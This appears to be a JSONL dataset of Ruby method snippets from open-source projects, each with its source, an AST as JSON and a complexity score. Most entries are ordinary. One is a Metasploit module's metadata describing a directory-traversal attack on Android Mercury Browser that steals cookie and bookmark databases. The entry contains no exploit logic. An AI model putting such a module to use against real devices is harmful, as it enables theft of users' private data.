{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/products_controller.rb","start_line":312,"raw_source":"def build_master_stock_items\n        return if @product.has_variants?\n\n        available_stock_locations_list(master_stock_items_locations_opts).each do |_name, id|\n          @product.master.stock_items.build(stock_location_id: id, count_on_hand: 0) unless @product.master.stock_items.find { |stock_item| stock_item.stock_location_id == id }\n        end\n      end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_master_stock_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"has_variants?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_stock_locations_list\",{\"type\":\"send\",\"children\":[null,\"master_stock_items_locations_opts\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_name\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"master\"]},\"stock_items\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stock_item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stock_item\"]},\"stock_location_id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"master\"]},\"stock_items\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stock_location_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count_on_hand\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}]}","id":"17076478-861e-4a65-83a0-1b1f9e06b1cc"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/formatting.rb","start_line":88,"raw_source":"def format(col, value, options = {})\n    return \"\" if value.nil?\n\n    options = options.merge(format_options_by(col))\n\n    column_formatter = options.delete(:format)\n    return String.new(value.to_s) if column_formatter == :_none_ # Raw value was requested, do not attempt to format\n\n    default_format_attributes = format_attributes_for(column_formatter, col, value)\n\n    if default_format_attributes && default_format_attributes.merge!(options)[:function]\n      value = apply_format_function(value, default_format_attributes.deep_clone)\n    end\n\n    String.new(value.to_s) # Generate value as a string in case it is a SafeBuffer\n  end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"format_options_by\",{\"type\":\"lvar\",\"children\":[\"col\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"column_formatter\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"format\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_formatter\"]},\"==\",{\"type\":\"sym\",\"children\":[\"_none_\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"default_format_attributes\",{\"type\":\"send\",\"children\":[null,\"format_attributes_for\",{\"type\":\"lvar\",\"children\":[\"column_formatter\"]},{\"type\":\"lvar\",\"children\":[\"col\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_format_attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_format_attributes\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"function\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"apply_format_function\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_format_attributes\"]},\"deep_clone\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}]}","id":"f5e71d82-2df9-479e-9102-56488f8f4142"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/project.rb","start_line":335,"raw_source":"def xcodebuild_parameters\n      proj = []\n      proj << \"-workspace #{options[:workspace].shellescape}\" if options[:workspace]\n      proj << \"-scheme #{options[:scheme].shellescape}\" if options[:scheme]\n      proj << \"-project #{options[:project].shellescape}\" if options[:project]\n      proj << \"-configuration #{options[:configuration].shellescape}\" if options[:configuration]\n      proj << \"-derivedDataPath #{options[:derived_data_path].shellescape}\" if options[:derived_data_path]\n      proj << \"-xcconfig #{options[:xcconfig].shellescape}\" if options[:xcconfig]\n      proj << \"-scmProvider system\" if options[:use_system_scm]\n      proj << \"-packageAuthorizationProvider #{options[:package_authorization_provider].shellescape}\" if options[:package_authorization_provider]\n\n      xcode_at_least_11 = FastlaneCore::Helper.xcode_at_least?('11.0')\n      if xcode_at_least_11 && options[:cloned_source_packages_path]\n        proj << \"-clonedSourcePackagesDirPath #{options[:cloned_source_packages_path].shellescape}\"\n      end\n\n      if xcode_at_least_11 && options[:disable_package_automatic_updates]\n        proj << \"-disableAutomaticPackageResolution\"\n      end\n\n      return proj\n    end","complexity_score":84.4,"ast_json":"{\"type\":\"def\",\"children\":[\"xcodebuild_parameters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"proj\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"workspace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-workspace \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"workspace\"]}]},\"shellescape\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scheme\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-scheme \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scheme\"]}]},\"shellescape\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-project \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"shellescape\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"configuration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-configuration \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"configuration\"]}]},\"shellescape\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"derived_data_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-derivedDataPath \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"derived_data_path\"]}]},\"shellescape\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"xcconfig\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-xcconfig \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"xcconfig\"]}]},\"shellescape\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"use_system_scm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]},\"<<\",{\"type\":\"str\",\"children\":[\"-scmProvider system\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"package_authorization_provider\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-packageAuthorizationProvider \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"package_authorization_provider\"]}]},\"shellescape\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"xcode_at_least_11\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"xcode_at_least?\",{\"type\":\"str\",\"children\":[\"11.0\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xcode_at_least_11\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cloned_source_packages_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-clonedSourcePackagesDirPath \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cloned_source_packages_path\"]}]},\"shellescape\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xcode_at_least_11\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"disable_package_automatic_updates\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]},\"<<\",{\"type\":\"str\",\"children\":[\"-disableAutomaticPackageResolution\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]}]}]}]}","id":"3641668a-3d14-42f6-9a11-75661995dd45"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/keys_finder.rb","start_line":46,"raw_source":"def by_users(keys)\n    return keys unless params[:users]\n\n    keys.for_user(params[:users])\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"by_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keys\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"users\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"for_user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"users\"]}]}]}]}]}","id":"91cfce07-c98a-4ce5-a664-790ab71898c7"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/launcher.rb","start_line":376,"raw_source":"def generate_restart_data\n      if dir = @options[:directory]\n        @restart_dir = dir\n\n      elsif Puma.windows?\n        # I guess the value of PWD is garbage on windows so don't bother\n        # using it.\n        @restart_dir = Dir.pwd\n\n        # Use the same trick as unicorn, namely favor PWD because\n        # it will contain an unresolved symlink, useful for when\n        # the pwd is /data/releases/current.\n      elsif dir = ENV['PWD']\n        s_env = File.stat(dir)\n        s_pwd = File.stat(Dir.pwd)\n\n        if s_env.ino == s_pwd.ino and (Puma.jruby? or s_env.dev == s_pwd.dev)\n          @restart_dir = dir\n        end\n      end\n\n      @restart_dir ||= Dir.pwd\n\n      # if $0 is a file in the current directory, then restart\n      # it the same, otherwise add -S on there because it was\n      # picked up in PATH.\n      #\n      if File.exist?($0)\n        arg0 = [Gem.ruby, $0]\n      else\n        arg0 = [Gem.ruby, \"-S\", $0]\n      end\n\n      # Detect and reinject -Ilib from the command line, used for testing without bundler\n      # cruby has an expanded path, jruby has just \"lib\"\n      lib = File.expand_path \"lib\"\n      arg0[1,0] = [\"-I\", lib] if [lib, \"lib\"].include?($LOAD_PATH[0])\n\n      if defined? Puma::WILD_ARGS\n        @restart_argv = arg0 + Puma::WILD_ARGS + @original_argv\n      else\n        @restart_argv = arg0 + @original_argv\n      end\n    end","complexity_score":58.68,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_restart_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dir\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"directory\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@restart_dir\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"windows?\"]},{\"type\":\"ivasgn\",\"children\":[\"@restart_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"pwd\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PWD\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s_env\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"stat\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s_pwd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"stat\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"pwd\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s_env\"]},\"ino\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s_pwd\"]},\"ino\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"jruby?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s_env\"]},\"dev\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s_pwd\"]},\"dev\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@restart_dir\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},null]}]},null]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@restart_dir\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"pwd\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"gvar\",\"children\":[\"$0\"]}]},{\"type\":\"lvasgn\",\"children\":[\"arg0\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"ruby\"]},{\"type\":\"gvar\",\"children\":[\"$0\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"arg0\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"ruby\"]},{\"type\":\"str\",\"children\":[\"-S\"]},{\"type\":\"gvar\",\"children\":[\"$0\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lib\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"lib\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lib\"]},{\"type\":\"str\",\"children\":[\"lib\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$LOAD_PATH\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg0\"]},\"[]=\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-I\"]},{\"type\":\"lvar\",\"children\":[\"lib\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"WILD_ARGS\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@restart_argv\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg0\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"WILD_ARGS\"]}]},\"+\",{\"type\":\"ivar\",\"children\":[\"@original_argv\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@restart_argv\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg0\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@original_argv\"]}]}]}]}]}]}","id":"d527b6b4-00c9-412d-8c9e-561904ca0fcd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/unleash.rb","start_line":80,"raw_source":"def authorize_by_unleash_instance_id!\n        unauthorized! unless feature_flags_client\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_by_unleash_instance_id!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"feature_flags_client\"]},null,{\"type\":\"send\",\"children\":[null,\"unauthorized!\"]}]}]}","id":"c79b81c1-842b-4f9f-96da-a5de842ca871"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/android_mercury_parseuri.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability',\n        'Description' => %q{\n          This module exploits an unsafe intent URI scheme and directory traversal found in\n          Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a\n          private wifi manager activity, which starts a web server for Mercury on port 8888.\n          The webserver also suffers a directory traversal that allows remote access to\n          sensitive files.\n\n          By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db,\n          webview.db, and bookmarks.db. But if this isn't enough, you can also specify the\n          ADDITIONAL_FILES datastore option to collect more files.\n        },\n        'Author' => [\n          'rotlogix', # Vuln discovery, PoC, etc\n          'sinn3r',\n          'joev'\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ],\n          [ 'URL', 'http://versprite.com/og/multiple-vulnerabilities-in-mercury-browser-for-android-version-3-0-0/' ]\n        ],\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('ADDITIONAL_FILES', [false, 'Additional files to steal from the device'])\n      ]\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an unsafe intent URI scheme and directory traversal found in\\n\"]},{\"type\":\"str\",\"children\":[\"          Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a\\n\"]},{\"type\":\"str\",\"children\":[\"          private wifi manager activity, which starts a web server for Mercury on port 8888.\\n\"]},{\"type\":\"str\",\"children\":[\"          The webserver also suffers a directory traversal that allows remote access to\\n\"]},{\"type\":\"str\",\"children\":[\"          sensitive files.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db,\\n\"]},{\"type\":\"str\",\"children\":[\"          webview.db, and bookmarks.db. But if this isn't enough, you can also specify the\\n\"]},{\"type\":\"str\",\"children\":[\"          ADDITIONAL_FILES datastore option to collect more files.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"rotlogix\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]},{\"type\":\"str\",\"children\":[\"joev\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://versprite.com/og/multiple-vulnerabilities-in-mercury-browser-for-android-version-3-0-0/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ADDITIONAL_FILES\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Additional files to steal from the device\"]}]}]}]}]}]}]}","id":"0f9dcdb4-3c89-471d-98fb-defbc4603f51"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/ldap_auth_sources_controller.rb","start_line":111,"raw_source":"def block_if_password_login_disabled\n    render_404 if OpenProject::Configuration.disable_password_login?\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"block_if_password_login_disabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]},\"disable_password_login?\"]},{\"type\":\"send\",\"children\":[null,\"render_404\"]},null]}]}","id":"2a6c1858-69fb-41d9-9ef1-5b38cc501ef1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data_counters/hll_redis_counter.rb","start_line":53,"raw_source":"def known_event?(event_name)\n          known_events.include?(event_name.to_s)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"known_event?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"known_events\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_name\"]},\"to_s\"]}]}]}","id":"91e1e006-afbe-4dd9-b6b5-eef2e95bb0a4"}
{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/optparse.rb","start_line":663,"raw_source":"def match(key)\n      return key, *fetch(key) {\n        raise AmbiguousArgument, catch(:ambiguous) {return complete(key)}\n      }\n    